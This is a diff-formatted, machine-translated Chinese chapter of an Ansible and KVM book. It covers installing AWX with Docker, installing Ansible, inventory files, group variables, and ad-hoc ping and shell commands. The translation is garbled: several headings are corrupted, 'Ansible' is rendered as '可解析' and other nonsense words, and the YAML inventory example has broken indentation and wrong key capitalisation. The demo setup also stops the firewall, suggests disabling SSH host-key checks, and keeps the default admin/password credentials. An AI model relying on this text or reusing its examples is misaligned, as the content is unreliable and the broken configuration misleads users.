@@ -# 十一、用于编排和自动化的可解析和脚本 - -Ansible 已经成为当今开放源码社区的事实标准,因为它提供了如此多的功能,而对您和您的基础设施要求很少。 将 Ansible 与**基于内核的虚拟机**(**KVM**)配合使用也很有意义,尤其是在考虑更大的环境时。 如果只是简单地配置您想要做的 KVM 主机(安装 libvirt 和相关软件),或者如果您想在主机上统一配置 KVM 网络,这并不重要-Ansible 对两者都是无价的。 例如,在本章中,我们将使用 Ansible 部署托管在 KVM 虚拟机内的虚拟机和多层应用,这在较大的环境中是非常常见的用例。 然后,我们将转到更迂腐的结合 Ansible 和 cloud-init 的主题,因为它们在应用的时间线和完成事情的方式方面有所不同。 Cloud-init 是初始虚拟机配置(主机名、网络和 SSH 密钥)的理想自动方式。 然后,我们通常转移到 Ansible,这样我们就可以在初始配置后执行额外的编排-添加软件包,对系统进行更大的更改,等等。 让我们看看如何在 KVM 中使用 Ansible 和 cloud-init。 - -在本章中,我们将介绍以下主题: - -* 暗影 -* 使用`kvm_libvirt`模块配置虚拟机 -* 使用 Ansible 和 cloud-init 实现自动化和编排 -* 编排 KVM 上的多层应用部署 -*** 通过示例学习,包括如何在 KVM 中使用 Ansible 的各种示例** - - **我们开始吧! - -# = 0: - -一个称职的管理员的主要角色之一就是尝试让自己尽可能地实现自动化。 有一句话说,每件事都必须至少手工做一次。 如果你必须再做一次,你可能会被它惹恼,而第三次你必须做的时候,你会自动完成这个过程。 当我们谈论自动化时,它可能意味着很多不同的事情。 - -让我们试着用一个例子来解释这一点,因为这是描述问题和解决方案的最方便的方式。 假设您正在为一家公司工作,该公司需要部署 50 台 Web 服务器来托管标准配置的 Web 应用。 标准配置包括需要安装的软件包、需要配置的服务和网络设置、需要配置的防火墙规则,以及需要从网络共享复制到虚拟机内部本地磁盘以便我们可以通过 Web 服务器提供这些文件的文件。 你打算如何实现这一点呢? - -脑海中浮现出三种基本方法: - -* 一切都要手动完成。 这将花费大量的时间,而且会有大量的机会去做错事,因为我们毕竟是人,而且我们也会犯错(双关语)。 -* 尝试通过部署 50 台虚拟机,然后将整个配置方面放到一个脚本中来自动化该过程,该脚本可以是自动安装过程的一部分(例如,kickstart)。 -* 尝试通过部署包含已安装的所有移动部件的单个虚拟机模板来自动化该过程。 这意味着我们只需要从虚拟机模板部署这 50 台虚拟机,并进行一些定制,以确保我们的虚拟机可以使用。 - -有不同种类的自动化可供选择。 纯脚本编写就是其中之一,它涉及到使用需要多次运行的所有内容创建脚本。 从事某项工作多年的管理员通常有一批有用的脚本。 好的管理员还至少懂一种编程语言,即使他们不愿承认,因为作为管理员意味着必须在其他人破坏后进行修复,而且有时还需要相当多的编程。 - -因此,如果您正在考虑通过脚本实现自动化,我们完全同意您的观点,即这是可行的。 但问题仍然是,您将花费多少时间覆盖该脚本的每一个方面,以使脚本*始终*正常工作。 此外,如果不是这样,您将不得不做大量的体力劳动来使其正确,而没有任何真正的方法在先前不成功的配置之上修改额外的配置。 - -这就是基于过程的工具(如 Ansible)派上用场的地方。 Ansible 生成**模块**,这些模块被推送到端点(在我们的示例中是虚拟机),从而将我们的对象带到*所需的状态*。 如果您来自 Microsoft PowerShell 世界,是的,Ansible 和 PowerShell**Desired State Configuration**(**DSC**)本质上都在尝试做同样的事情。 他们只是以一种不同的方式来做这件事。 那么,让我们讨论一下这些不同的自动化过程,看看 Ansible 在哪里适合那个世界。 - -## 自动化方法 - -一般而言,所有这些都适用于管理系统及其部件、安装应用,以及通常处理已安装系统内部的事情。 这可以被认为是*旧的*管理方法,因为它通常处理服务,而不是服务器。 同时,这种自动化显然集中在单个服务器或少量服务器上,因为它没有很好的伸缩性。 如果我们需要在多台服务器上工作,使用常规脚本会产生新的问题。 我们需要考虑很多额外的变量(不同的 SSH 密钥、主机名和 IP 地址),因为脚本更难扩展以在多个服务器上工作(这在 Ansible 中很容易)。 - -如果一个脚本还不够,那么我们必须转移到多个脚本,这就产生了一个新的问题,其中之一就是脚本管理。 想想看--当我们需要更改脚本中的某些内容时会发生什么? 我们如何确保所有服务器上的所有实例都使用相同的版本,特别是在服务器 IP 地址不连续的情况下? 因此,总而言之,虽然这种自动化是陈旧的和经过测试的,但它有严重的缺点。 - -还有另一种自动化正在 DevOps 社区中获得支持-大写字母 A 的 Automation。这是一种跨不同机器-甚至跨不同操作系统-实现系统操作自动化的方法。 有几个自动化系统可以实现这一点,它们基本上可以分为两组:使用代理的系统和无代理系统。 - -### 使用代理的系统 - -使用代理的系统更为常见,因为与无代理系统相比,它们有一些优势。 第一个也是最重要的优势是,它们不仅能够跟踪需要完成的更改,而且能够跟踪用户对系统所做的更改。 这种更改跟踪意味着我们可以跨系统跟踪正在发生的事情,并采取适当的操作。 - -它们几乎都是以相同的方式工作的。 我们需要监视的系统上安装了一个称为代理的小应用。 安装应用后,它会连接或允许来自中央服务器的连接,该服务器处理与自动化有关的所有事情。 因为您正在阅读本文,所以您可能对这样的系统很熟悉。 周围有很多这样的人,你很有可能已经遇到了其中一人。 要理解这一原理,请看下图: - -![Figure 11.1 – The management platform needs an agent to connect to objects that need orchestration and automation ](img/B14834_11_01.jpg) - -图 11.1-管理平台需要代理来连接到需要编排和自动化的对象 - -在这些系统中,代理具有双重目的。 它们在这里运行任何需要在本地运行的东西,并持续监视系统的更改。 这种更改跟踪功能可以通过不同的方式实现,但结果是相似的-中央系统将知道发生了什么更改以及以什么方式更改。 更改跟踪是部署中的一件重要事情,因为它实现了实时的合规性检查,并防止了许多由未经授权的更改引起的问题。 - -### 无代理系统 - -无代理系统的行为不同。 必须管理的系统上没有安装;相反,中央服务器(或多个服务器)使用某种命令和控制通道执行所有操作。 在 Windows 上,这可能是**PowerShell**、**WinRM**或,而在 Linux 上,这通常是**SSH**或其他远程执行框架。 中央服务器创建一个任务,然后通过远程通道执行该任务,该任务通常以脚本的形式被复制,然后在目标系统上启动。 这是这个原则应该是什么样子的: - -![Figure 11.2 – The management platform doesn't need an agent to connect to objects that need orchestration and automation ](img/B14834_11_02.jpg) - -图 11.2-管理平台不需要代理来连接到需要编排和自动化的对象 - -不管它们的类型如何,这些系统通常被称为自动化或配置管理系统,虽然这是两个事实上的标准,但完全不同,但在现实中,它们被不加区别地使用。 在撰写本文时,最受欢迎的两个是 Pupet 和 Ansible,尽管还有其他的(Chef、SaltStack 等)。 - -在本章中,我们将介绍 Ansible,因为它易学、无代理,并且在 Internet 上拥有大量用户。 - -## =0 到 Accessible - -Ansible 是一个 IT 自动化引擎(有人称之为自动化框架),它使管理员能够自动执行资源调配、配置管理以及系统管理员可能需要完成的许多日常任务。 - -对 Ansible 最简单(也是过于简化)的思考方式是,它是一组复杂的脚本,旨在大规模完成管理任务,无论是从复杂性还是它可以控制的系统数量来看都是如此。 Ansible 在一台简单的服务器上运行,该服务器安装了 Ansible 系统的所有部分。 它不需要在它控制的机器上安装任何东西。 可以肯定地说,Ansible 是完全无代理的,为了实现其目标,它使用不同的方式连接到远程系统并将小脚本推送到远程系统。 - -这也意味着 Ansible 无法检测其控制的系统上的更改;它完全取决于我们创建的配置脚本来控制如果事情不是我们预期的那样会发生什么。 - -在做其他事情之前,我们需要定义一些东西--我们可以把它们看作*构建块*或模块。 Ansible 喜欢称自己为一个从根本上简单的 IT 引擎,而且它只有几个这样的构建块可以让它工作。 - -首先,它有**个清单**-定义将在哪些主机上执行特定任务的主机列表。 主机是在一个简单的文本文件中定义的,可以像每行包含一个主机的直接列表一样简单,也可以像 Ansible 执行任务时创建的动态清单一样复杂。 在展示如何使用它们时,我们将更详细地介绍它们。 需要记住的是,主机是在文本文件中定义的,因为不涉及数据库(尽管可能有),并且主机可以分组,这是您将广泛使用的特性。 - -其次,还有一个名为*Play*的概念,我们将其定义为一组由 Ansible 在目标主机上运行的不同任务。 我们通常使用剧本来开始一部剧本,这是 Ansible 层次结构中的另一种对象类型。 - -就剧本而言,可以将其视为在特定系统上执行某项任务或实现特定状态所需的一项策略或一组任务/剧本。 剧本也是文本文件,专为人类可读而设计,由人类创建。 剧本用于定义配置,或者更准确地说,用于声明它。 它们可以包含以有序方式启动不同任务的步骤。 这些步骤称为剧本,因此得名剧本。 Ansible 文档有助于解释这一点,因为考虑到体育中的游戏,可以执行的任务列表被提供,并且需要被记录,但同时可能不被调用。 这里需要理解的重要一点是,我们的剧本中可以包含决策逻辑。 - -Ansible 谜题的第四大部分是它的**模**。 可以将模块看作是在您试图控制的机器上执行的小程序,以便完成某些任务。 Ansible 包中包含数百个模块,它们可以单独使用,也可以在您的攻略中使用。 - -模块允许我们完成任务,其中一些模块是严格的声明性的。 其他模块则返回数据,或者作为模块执行的任务的结果,或者作为模块通过称为事实收集的过程从正在运行的系统获得的显式数据。 此过程基于名为`gather_facts`的模块。 一旦我们开始开发自己的剧本,收集有关系统的正确事实是我们可以做的最重要的事情之一。 - -以下架构显示了所有这些部分协同工作的情况: - -![Figure 11.3 – Ansible architecture – Python API and SSH connections ](img/B14834_11_03.jpg) - -图 11.3-可解析的体系结构-Python API 和 SSH 连接 - -IT 工作人员的普遍共识是,通过 Ansible 进行管理比通过其他工具更容易,因为它不需要您在设置或攻略开发上浪费数天时间。 但是,不要搞错:要广泛使用 Ansible,您必须学习 YAML 语法。 也就是说,如果您对更基于 GUI 的方法感兴趣,您可以随时考虑购买 Red Hat Ansible Tower。 - -Ansible Tower 是一个基于 GUI 的实用程序,您可以使用它来管理基于 Ansible 的环境。 这是从名为**AWX**的项目开始的,该项目至今仍然非常活跃。 但是 AWX 的发布方式与 Ansible Tower 的发布方式有一些关键的区别。 主要原因是 Ansible Tower 使用特定的发布版本,而 AWX 采用了 OpenStack 以前的*方法--这个项目进展得相当快,而且经常有新的版本。* - -正如 RedHat 在[https://www.ansible.com/products/awx-project/faq](https://www.ansible.com/products/awx-project/faq)上明确声明的那样: - -*“Ansible Tower 的生产方法是选择 AWX 的选定版本,对其进行强化以获得长期支持,并将其作为 Ansible Tower 产品提供给客户。”* - -基本上,AWX 是一个社区支持的项目,而 Red Hat 直接支持 Ansible Tower。 下面是**Ansible AWX**的屏幕截图,以便您可以看到 GUI 的外观: - -![Figure 11.4 – Ansible AWX GUI for Ansible ](img/B14834_11_04.jpg) - -图 11.4-Ansible AWX GUI for Ansible - -Ansible 还有其他个 GUI 可用,比如**Rundeck**、**信号量**等等。 但不知何故,对于那些没有办法支付额外费用购买 Ansible Tower 的用户来说,AWX 似乎是最合乎逻辑的选择。 在讨论常规的 Ansible 部署和使用之前,让我们先花一点时间研究 AWX。 - -## 部署和使用 AWX - -AWX 是作为一个开源项目宣布的,它为开发者提供访问 Ansible Tower 的权限,而不需要许可证。 与几乎所有其他 Red Hat 项目一样,这个项目还旨在弥合一个经过强化生产并可供企业使用的付费产品与一个社区驱动的项目之间的差距,前者拥有几乎所有必需的功能,但规模较小,没有企业客户可以使用的所有花哨功能。 但这并不意味着 AWX 在任何方面都是一个*小*项目。 它构建了 Ansible 的功能,并启用了一个简单的 GUI 来帮助您运行 Ansible 部署中的所有内容。 - -我们在这里几乎没有足够的空间来演示它的外观和用途,所以我们只介绍安装它和部署最简单场景的基础知识。 - -当我们谈论 awx 时,我们需要知道的最重要的地址是[https://github.com/ansible/awx](https://github.com/ansible/awx)。 这是项目所在的位置。 最新的信息在这里的`readme.md`中,它是 GitHub 页面上显示的一个文件。 如果您不熟悉从 GitHub 克隆*,请不要担心-我们基本上只是从一个特殊的源进行复制,这样您就可以只复制自上次获得文件版本以来已更改的内容。 这意味着要更新到新版本,只需使用相同的命令再次克隆即可。* - - *在 GitHub 页面上,有一个指向我们将要遵循的安装说明的直接链接。 请记住,此部署是从头开始的,因此我们需要再次构建演示计算机,并安装缺少的所有内容。 - -我们需要做的第一件事是获取必要的 AWX 文件。 让我们将 GitHub 存储库克隆到本地磁盘: - -![Figure 11.5 – Git cloning the AWX files ](img/B14834_11_05.jpg) - -图 11.5-Git 克隆 AWX 文件 - -请注意,我们使用 13.0.0 作为版本号,因为这是撰写本文时 AWX 的当前版本。 - -然后,我们需要整理一些依赖项。 AWX 显然需要 Ansible、Python 和 Git,但除此之外,我们还需要能够支持 Docker,我们还需要 GNU make 以便稍后能够准备一些文件。 我们还需要一个环境来运行我们的虚拟机。 在本教程中,我们选择了 Docker,因此我们将使用 Docker Compose。 - -此外,这也是一个很好的地方,我们的机器上至少需要 4 GB 的 RAM 和 20 GB 的空间才能运行 AWX。 这与我们习惯在 Ansible 中使用的低内存使用量有所不同,但这是有意义的,因为 AWX 不仅仅是一堆脚本。 让我们从安装必备组件开始。 - -Docker 是我们要安装的第一个。 我们使用的是 CentOS 8,因此 Docker 不再是默认套餐的一部分。 因此,我们需要添加存储库,然后安装 Docker 引擎。 我们将使用`-ce`包,它代表 Community Edition。 我们还将使用`--nobest`选项安装 Docker-如果没有此选项,CentOS 将报告我们缺少一些依赖项: - -![Figure 11.6 – Deploying docker-ce package on CentOS 8 ](img/B14834_11_06.jpg) - -图 11.6-在 CentOS 8 上部署 docker-ce 软件包 - -之后,我们需要运行以下命令: - -```sh -dnf install docker-ce -y --nobest -``` - -总体结果应该如下所示。 请注意,您特定安装的每个软件包的版本可能会有所不同。 这是正常的,因为包裹一直在变化: - -![Figure 11.7 – Starting and enabling the Docker service ](img/B14834_11_07.jpg) - -图 11.7-启动并启用 Docker 服务 - -然后,我们将使用以下命令安装 Ansible 本身: - -```sh -dnf install ansible -``` - -如果您运行的是完全干净的 CentOS 8 安装,则可能必须先安装`epel-release`,然后才能使用 Ansible。 - -我们名单上的下一个是 Python。 仅仅使用`dnf`命令不会安装 Python,因为我们必须提供我们想要的 Python 版本。 为此,我们将这样做: - -![Figure 11.8 – Installing Python; in this case, version 3.8 ](img/B14834_11_08.jpg) - -图 11.8-安装 Python;在本例中为 3.8 版 - -之后,我们将使用 pip 安装 Python 的 Docker 组件。 只需键入`pip3 install docker`,您需要的所有内容都将安装。 - -我们还需要安装`make`包: - -![Figure 11.9 – Deploying GNU Make ](img/B14834_11_09.jpg) - -图 11.9-部署 GNU Make - -现在,是 Docker 组成部分的时间。 我们需要运行`pip3 install docker-compose`命令来安装 Python 部件,并运行以下命令来安装 docker-compose: - -```sh -curl -L https://github.com/docker/compose/releases/download/1.25.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose -``` - -该命令将从 GitHub 获取必要的安装文件,并使用必要的输入参数(通过执行`uname`命令)来启动 docker-compose 的安装过程。 - -我们知道这是很多依赖项,但是 AWX 在幕后是一个相当复杂的系统。 然而,从表面上看,事情并没有那么复杂。 在执行最终安装部分之前,我们需要验证防火墙是否已停止以及是否已禁用。 我们正在创建一个演示环境,`firewalld`将阻止容器之间的通信。 一旦系统运行好了,我们可以稍后再解决这个问题。 - -一旦一切都运行好了,安装 AWX 就很简单了。 只需转到`awx/installer`目录并运行以下命令: - -```sh -ansible-playbook -i inventory -e docker_registry_password=password install.yml -``` - -安装应该需要几分钟时间。 结果应该是一个以以下内容结尾的长列表: - -```sh -PLAY RECAP ********************************************************************* -localhost  : ok=16   changed=8    unreachable=0    failed=0    skipped=86   rescued=0    ignored=0    -``` - -这意味着本地 AWX 环境已经成功部署。 - -现在,有趣的部分开始了。 AWX 由四个小的 Docker 图像组成。 要使其正常工作,所有这些都需要配置并运行。 您可以使用`docker ps`和`docker logs -t awx_task`将其检出。 - -第一个命令列出所有已部署的映像及其状态: - -![Figure 11.10 – Checking the pulled and started docker images ](img/B14834_11_10.jpg) - -图 11.10-检查拉出并启动的坞站图像 - -第二个命令显示`awx_task`机器正在创建的所有日志。 这些是整个系统的主要日志。 稍后,初始配置将完成: - -![Figure 11.11 – Checking the awx_task logs ](img/B14834_11_11.jpg) - -图 11.11-检查 AWX_TASK 日志 - -将进行大量日志记录,您必须使用*Ctrl+C*来中断此命令。 - -在此整个过程之后,我们可以将 Web 浏览器指向`http://localhost`。 我们应该看到如下所示的屏幕: - -![Figure 11.12 – AWX default login screen ](img/B14834_11_12.jpg) - -图 11.12?AWX 默认登录屏幕 - -默认的用户名是`admin`,而密码是`password`。 成功登录后,我们将面对如下界面: - -![Figure 11.13 – Initial AWX dashboard after logging in ](img/B14834_11_13.jpg) - -图 11.13-登录后的初始 AWX 控制面板 - -这里有很多东西需要学习,所以我们只需要了解一些基础知识。 基本上,AWX 代表的是 Ansible 的智能 GUI。 如果我们打开**模板**(在窗口左侧)并查看**演示**模板,我们可以快速看到这一点: - -![Figure 11.14 – Using a demo template in AWX ](img/B14834_11_14.jpg) - -图 11.14-在 AWX 中使用演示模板 - -在本章的下一部分,当我们部署 Ansible 时,我们在这里看到的内容将变得更加熟悉。 所有这些属性都是 Ansible 攻略的不同部分,包括攻略本身、库存、使用的凭证,以及其他一些使 Ansible 的使用更容易的事情。 如果我们向下滚动一点,那里应该有三个按钮。 按**启动**按钮。 这将播放模板并将其转换为`job`: - -![Figure 11.15 – By clicking on the Launch button, we can start our template job ](img/B14834_11_15.jpg) - -图 11.15-通过单击启动按钮,我们可以开始模板作业 - -我们的想法是,我们可以创建模板并随心所欲地运行它们。 运行它们之后,运行的结果将最终显示在**作业**下(作为窗口左侧的第二个项查找): - -![Figure 11.16 – Template job details ](img/B14834_11_16.jpg) - -图 11.16-模板作业详细信息 - -作业的详细信息基本上是所发生的事情、何时以及使用了哪些可选元素的摘要。 我们还可以看到刚刚运行的攻略的实际结果: - -![Figure 11.17 – Checking the demo job template's text output ](img/B14834_11_17.jpg) - -图 11.17-检查演示作业模板的文本输出 - -AWX 真正做的是自动化。 它使您在使用 Ansible 时更加高效,因为它为 Ansible 使用的不同文件提供了一个更加直观的界面。 它还使您能够跟踪做了什么、何时做了什么,以及结果是什么。 所有这些都可以使用 Ansible CLI 实现,但是 AWX 在我们控制整个过程的同时为我们节省了大量精力。 - -当然,因为本章的目标是使用 Ansible,这意味着我们需要部署所有必要的软件包,这样我们才能使用它。 因此,让我们将转移到 Ansible 流程的下一个阶段并部署 Ansible。 - -## _ - -在所有为编排和系统管理设计的个类似的应用中,Ansible 可能是安装最简单的一个。 由于它所管理的系统上不需要任何代理,因此安装仅限于一台计算机-将运行所有脚本和剧本的计算机。 默认情况下,Ansible 使用 SSH 连接到计算机,因此使用它的唯一先决条件是我们的远程系统启动并运行了 SSH 服务器。 - -除此之外,没有数据库(Ansible 使用文本文件),没有守护进程(Ansible 按需运行),也没有对 Ansible 本身的管理。 由于没有任何东西在后台运行,Ansible 很容易升级-唯一可以改变的是剧本的结构方式,这很容易修复。 Ansible 基于 Python 编程语言,但其结构比标准 Python 程序更简单。 配置文件和攻略要么是简单的文本文件,要么是 YAML 格式的文本文件,YAML 是用于定义数据结构的文件格式。 学习 YAML 超出了本章的范围,因此我们假设您了解简单的数据结构。 我们将作为示例使用的 YAML 文件非常简单,几乎不需要任何解释,但如果需要,我们会提供它。 - -安装可以非常简单,只需运行以下命令: - -```sh -yum install ansible -``` - -您可以以 root 用户身份运行此命令,也可以使用以下命令: - -```sh -apt install ansible -``` - -选择取决于您的发行版(Red Hat/CentOS 或 Ubuntu/Debian)。 更多信息可以在安赛的网站上找到,网址是[https://docs.ansible.com/](https://docs.ansible.com/)。 - -RHEL8 用户必须首先启用包含 Ansible RPM 的回购。 在编写本文时,这可以通过运行以下命令来完成: - -```sh -sudo subscription-manager repos --enable ansible-2.8-for-rhel-8-x86_64-rpms -``` - -在运行前面的命令之后,使用以下代码: - -```sh -dnf install ansible -``` - -这就是安装 Ansible 所需的全部内容。 - -有一件事会让您大吃一惊,那就是安装的大小:它真的很小(大约 20MB),并且会根据需要安装 Python 依赖项。 - -Ansible 安装了的机器也称为*控制节点*。 它必须安装在 Linux 主机上,因为此角色不支持 Windows。 可能的控制节点可以在虚拟机内部运行。 - -我们控制的机器称为托管节点,默认情况下,它们是通过`SSH`协议控制的 Linux 机器。 有一些模块和插件可以将其扩展到 Windows 和 MacOS 操作系统,以及其他通信渠道。 当您开始阅读 Ansible 文档时,您会注意到大多数支持多个体系结构的模块都有关于如何在不同操作系统上完成相同任务的明确说明。 - -我们可以使用`/etc/ansible/ansible`配置 Ansible 的设置。 该文件包含定义缺省值的参数,其本身包含许多行,这些行被注释掉,但包含 Ansible 使用的所有工作的缺省值。 除非我们有所改变,否则这些就是安西普将要用来运行的价值观。 让我们在实际意义上使用 Ansible 来看看这一切是如何结合在一起的。 在我们的场景中,我们将使用 Ansible 通过其内置模块来配置虚拟机。 - -# 使用 kvm_libvirt 模块配置虚拟机 - -您可能包括也可能不包括的一件事是定义如何使用 SSH 连接到 Ansible 将要配置的机器的设置。 在此之前,我们需要花一点时间来讨论安全和可分析问题。 就像几乎所有与 Linux(或`*nix`)相关的东西一样,Ansible 不是一个集成的系统,而是依赖于已经存在的不同服务。 要连接到它管理的系统和执行命令,Ansible 依赖`SSH`(在 Linux 中)或其他系统,如 Windows 上的**WinRM**或**PowerShell**。 我们在这里将重点放在 Linux 上,但请记住,关于 Ansible 的相当多的信息是完全独立于系统的。 - -`SSH`是一种简单但极其健壮的协议,允许我们通过安全通道在远程主机上传输数据(安全 FTP、SFTP 等)和执行命令(`SSH`)。 Ansible 通过连接然后执行命令和传输文件直接使用 SSH。 当然,这意味着为了让 Ansible 工作,SSH 工作是至关重要的。 - -使用`SSH`连接时需要记住几件事: - -* 第一个是密钥指纹,从 Ansible 控制节点(服务器)可以看到。 首次建立连接时,`SSH`要求用户验证并接受远程系统提供的密钥。 这是为了防止 MITM 攻击而设计的,在日常使用中是一个很好的策略。 但是,如果我们处于必须配置个新安装的系统的位置,则*所有*系统都需要我们接受它们的密钥。 一旦我们开始使用攻略,这既耗时又复杂,因此您要启动的第一个攻略可能会禁用密钥检查和登录机器。 当然,这只能在受控的环境中使用,因为这会降低整个 Ansible 系统的安全性。 -* 您需要知道的第二件事是,Ansible 以普通用户身份运行。 话虽如此,也许我们不想以当前用户的身份连接到远程系统。 Ansible 通过在单独的计算机或组上设置一个变量来解决这一问题,该变量指示系统将使用什么用户名连接到这台特定的计算机。 连接之后,Ansible 允许我们以完全不同的用户身份在远程系统上执行命令。 这是常用的功能,因为它使我们能够完全重新配置机器并更改用户,就像我们在控制台一样。 -* 我们需要记住的第三件事是密钥-`SSH`可以通过使用交互式身份验证(即通过密码或使用预共享密钥)登录,这些密钥只交换一次,然后重复使用以建立 SSH 会话。 还有`ssh-agent`,它可用于对会话进行身份验证。 - -虽然我们可以在清单文件(或特殊密钥库)中使用固定密码,但这不是一个好主意。 幸运的是,Ansible 使我们能够编写很多脚本,包括将密钥复制到远程系统。 这意味着我们将拥有一些行动手册,它们将自动部署新系统,这些将使我们能够控制它们以进行进一步的配置。 - -综上所述,部署系统的可行步骤可能如下所示: - -1. 安装核心系统并确保`SSHD`正在运行。 -2. 定义对系统具有管理员权限的用户。 -3. 从控制节点运行将建立初始连接的播放列表,并将本地`SSH`键复制到远程位置。 -4. 使用适当的攻略安全地重新配置系统,而无需在本地存储密码。 - -现在,让我们更深入地挖掘。 - -每一个理性的经理都会告诉你,为了做任何事情,你需要定义问题的范围。 在自动化方面,这意味着定义 Ansible 将要工作的系统。 这是通过位于`/etc/Ansible`中的名为`hosts`的清单文件来完成的。 - -`Hosts`可以分组或单独命名。 在文本格式中,它可能如下所示: - -```sh -[servers] -srv1.local -srv2.local -srv3.local -[workstations] -wrk1.local -wrk2.local -wrk3.local -``` - -计算机可以同时属于多个组,并且组可以嵌套。 - -我们在这里使用的格式是纯文本。 让我们用 YAML 重写这段代码: - -```sh -All: -  Servers: -     Hosts: - Srv1.local: -Srv2.local: -Srv3.local: - Workstations: -     Hosts: - Wrk1.local: -Wrk2.local: -Wrk3.local: -Production: -   Hosts: - Srv1.local: - Workstations: -``` - -重要注 - -我们创建了另一个名为 Production 的组,其中包含所有工作站和一台服务器。 - -任何不属于默认或标准配置的内容都可以作为变量单独包含在主机定义或组定义中。 每个 Ansible 命令都有一定的灵活性,可以部分或完全覆盖配置或清单中的所有项目。 - -清单支持主机定义中的范围。 我们前面的示例可以编写如下: - -```sh -[servers] -Srv[1:3].local -[workstations] -Wrk[1:3].local -``` - -这也适用于字符,因此如果我们需要定义名为`srva`、`srvb`、`srvc`和`srvd`的服务器,我们可以通过说明以下内容来实现: - -```sh -srv[a:d] -``` - -也可以使用 IP 范围。 因此,例如,`10.0.0.0/24`可以写成: - -```sh -10.0.0.[1:254] -``` - -还可以使用两个预定义的默认组:`all`和`ungrouped`。 顾名思义,如果我们在攻略中引用`all`,它将在我们库存中的每台服务器上运行。 `Ungrouped`将仅引用不属于任何组的那些系统。 - -未分组的引用在设置新计算机时特别有用-如果它们不在任何组中,我们可以将它们视为*新的*,并将它们设置为加入到特定组。 - -这些组是隐式定义的,不需要重新配置它们,甚至不需要在清单文件中提及它们。 - -我们提到清单文件可以包含变量。 当我们需要在一组计算机、用户、密码或特定于该组的设置中定义属性时,变量非常有用。 假设我们要定义要在`servers`组上使用的用户: - -1. 首先,我们定义一个组: - - ```sh - [servers] - srv[1:3].local - ``` - -2. 然后,我们定义将用于整个组的变量: - - ```sh - [servers:vars] - ansible_user=Ansibleuser - ansible_connection=ssh - ``` - -当要求执行攻略时,这将使用名为`Ansibleuser`的用户使用`SSH`进行连接。 - -重要注 - -请注意,密码不存在,如果未单独提及密码或未事先交换密钥,本攻略将失败。 有关变量及其用法的更多信息,请参考 Ansible 文档。 - -现在我们已经创建了我们的第一个实际的 Ansible 任务,是时候讨论如何让 Ansible 在使用更客观的*方法的同时同时做很多事情了。 能够创建单个任务或几个任务非常重要,我们可以通过称为*剧本*的概念将它们组合在一起,剧本可以包括多个任务/剧本。* - - *## 使用攻略 - -一旦我们决定了如何连接到我们计划管理的机器,一旦我们创建了清单,我们就可以开始实际使用 Ansible 来做一些有用的事情了。 这就是攻略开始有意义的地方。 - -在我们的示例中,我们配置了四个 CentOS7 系统,为它们分配了`10.0.0.1`到`10.0.0.4`范围内的连续地址,并将它们用于任何事情。 - -Ansible 安装在 IP 地址为`10.0.0.1`的系统上,但正如我们已经说过的,这完全是任意的。 Ansible 在用作控制节点的系统上占用的空间最小,并且可以安装在任何系统上,只要它连接到我们要管理的网络的其余部分。 我们简单地选择了我们小型网络中的第一台计算机。 另外需要注意的是,控制节点可以通过 Ansible 自行控制。 这是有用的,但同时也不是一件好事。 根据您的设置,在将各个命令部署到其他计算机之前,您不仅要测试剧本,还要测试各个命令-在您的控制服务器上执行此操作不是明智之举。 - -既然安装了 Ansible,我们就可以尝试用它做点什么了。 Ansible 有两种截然不同的运行方式。 一种是运行剧本,即包含要执行的任务的文件。 另一种方式是使用单个任务,有时称为**特别**执行。 无论哪种方式使用 Ansible 都有理由--攻略是我们的主要工具,你可能大部分时间都会用到它们。 但是临时执行也有它的优势,特别是如果我们有兴趣做一些我们需要在多个服务器上做一次的事情。 一个典型的例子是使用一个简单的命令来检查已安装应用的版本或应用状态。 如果我们需要它来检查什么,我们就不会写剧本了。 - -要查看是否一切正常,我们将从简单地使用 ping 检查机器是否在线开始。 - -Ansible 喜欢自称*极其简单的自动化*,我们要做的第一件事就是证明这一点。 - -我们将在中使用一个名为 ping 的模块,该模块尝试连接到主机,验证它是否可以在本地 Python 环境中运行,如果一切正常,则返回一条消息。 不要将此模块与 Linux 中的`ping`命令混淆;我们不是通过网络执行 ping 操作;我们只是从控制节点向我们试图控制的服务器执行*ping*操作。 通过发出以下命令,我们将使用一个简单的`ansible`命令 ping 所有定义的主机: - -```sh -ansible all -m ping -``` - -以下是运行上述命令的结果: - -![Figure 11.18 – Our first Ansible module – ping, checks for Python and reports its state ](img/B14834_11_18.jpg) - -图 11.18-我们的第一个 Ansible 模块-ping,检查 Python 并报告其状态 - -我们在这里所做的是运行一个名为`ansible all -m ping`的命令。 - -`ansible`是可用的最简单的命令,它运行单个任务。 参数`all`表示在清单中的所有主机上运行它,`-m`用于调用要运行的模块。 - -这个特定的模块没有参数或选项,所以我们只需要运行它就可以得到结果。 结果本身很有趣;它是 YAML 格式,除了命令的结果之外,还包含其他一些内容。 - -如果我们仔细观察这一点,我们会发现 Ansible 为清单中的每台主机返回了一个结果。 我们首先可以看到的是命令的最终结果-`SUCCESS`表示任务本身运行没有问题。 之后,我们可以看到数组形式的数据-`ansible_facts`包含模块返回的信息,在编写攻略时广泛使用。 以这种方式返回的数据可能会有所不同。 在下一节中,我们将展示一个更大的数据集,但在本例中,唯一显示的是 Python 解释器的位置。 在那之后,我们有了`changed`变量,这是一个有趣的变量。 - -当 Ansible 运行时,它尝试检测它是否正确运行,以及它是否更改了系统状态。 在此特定任务中,运行的命令只是提供信息,不会更改系统上的任何内容,因此系统状态没有变化。 - -换句话说,这意味着无论运行什么,都不会在系统上安装或更改任何东西。 稍后,当我们需要检查是否安装了某些东西(如服务)时,状态会更有意义。 - -我们可以看到的最后一个变量是`ping`命令的返回。 它只说明**PONG**,因为如果设置正确,这就是模块给出的正确答案。 - -让我们做一些类似的事情,但这一次使用一个参数,例如我们希望在远程主机上执行的即席命令。 因此,请键入以下命令: - -```sh -ansible all -m shell -a "hostname" -``` - -以下是输出: - -![Figure 11.19 – Using Ansible to explicitly execute a specific command on Ansible targets ](img/B14834_11_19.jpg) - -图 11.19-使用 Ansible 在 Ansible 目标上显式执行特定命令 - -在这里,我们调用了另一个名为`shell`的模块。 它只是将作为参数提供的任何内容作为 shell 命令运行。 返回的是本地主机名。 这在功能上与我们使用`SSH`连接到清单中的每台主机,执行命令,然后注销时发生的情况相同。 - -要简单演示 Ansible 的功能,这是可以的,但让我们做一些更复杂的事情。 我们将使用特定于 CentOS/Red Hat 的名为`yum`的模块来检查我们的主机上是否安装了 Web 服务器。 我们要检查的 Web 服务器将是`lighttpd`,因为我们需要一些轻量级的东西。 - 